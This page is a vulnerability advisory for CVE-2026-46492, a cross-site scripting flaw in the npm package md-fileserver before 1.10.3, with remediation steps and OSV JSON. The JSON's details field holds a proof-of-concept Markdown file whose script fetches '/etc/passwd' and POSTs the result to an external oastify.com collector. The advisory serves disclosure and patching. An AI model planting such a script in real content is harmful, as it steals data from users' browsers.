Vulnerabilities in pkg:npm/md-fileserver
PACKAGECVE-2026-46492 is a HIGH (CVSS 7.2) cross-site scripting vulnerability (CWE-87: Improper Neutralization of Alternate XSS Syntax) affecting md-fileserver libraries in the npm ecosystem. The issue involves stored/reflected xss when viewing markdown (raw html allowed). Remediation is available by upgrading affected packages to version 1.10.3.
pkg:npm/md-fileserver
Vulnerability advisories affecting package pkg:npm/md-fileserver. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-32q2-hhr5-6qvv | CVE-2026-46492 | HIGH | md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed) |
CVE-2026-46492 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-46492
To remediate this vulnerability, upgrade all affected md-fileserver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install md-fileserver@1.10.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls md-fileserver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46492, inspect your project dependencies using npm:
npm ls md-fileserver
Analyze the terminal output to locate any version of md-fileserver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.3), your application is affected.
Note: The npm ls md-fileserver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-87: Improper Neutralization of Alternate XSS Syntax, where the product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax. In md-fileserver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46492 Affected md-fileserver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
md-fileserver
|
npm |
< 1.10.3
|
1.10.3
|
References
Frequently Asked Questions
What is CVE-2026-46492?
Which md-fileserver versions are affected?
What version fixes CVE-2026-46492?
Is md-fileserver affected?
What is the CVSS score of CVE-2026-46492?
What CWE is associated with CVE-2026-46492?
How can I check npm dependencies for CVE-2026-46492?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-32q2-hhr5-6qvv",
"modified" : "2026-06-09T18:41:40Z",
"published" : "2026-05-21T17:57:32Z",
"aliases" : [ "CVE-2026-46492" ],
"summary" : "md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)",
"details" : "### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n<script>\n fetch('/etc/passwd', { credentials: 'include' })\n .then(r => r.text())\n .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n</script>\n\n```\nOpen it on browser.\n<img width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" />\nView the HTTP request in Burp Collaborator.\n<img width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" />\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "md-fileserver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.10.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46492"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/commenthol/md-fileserver"
}, {
"type" : "WEB",
"url" : "https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-80", "CWE-87" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-21T17:57:32Z",
"nvd_published_at" : "2026-06-09T17:17:33Z"
}
}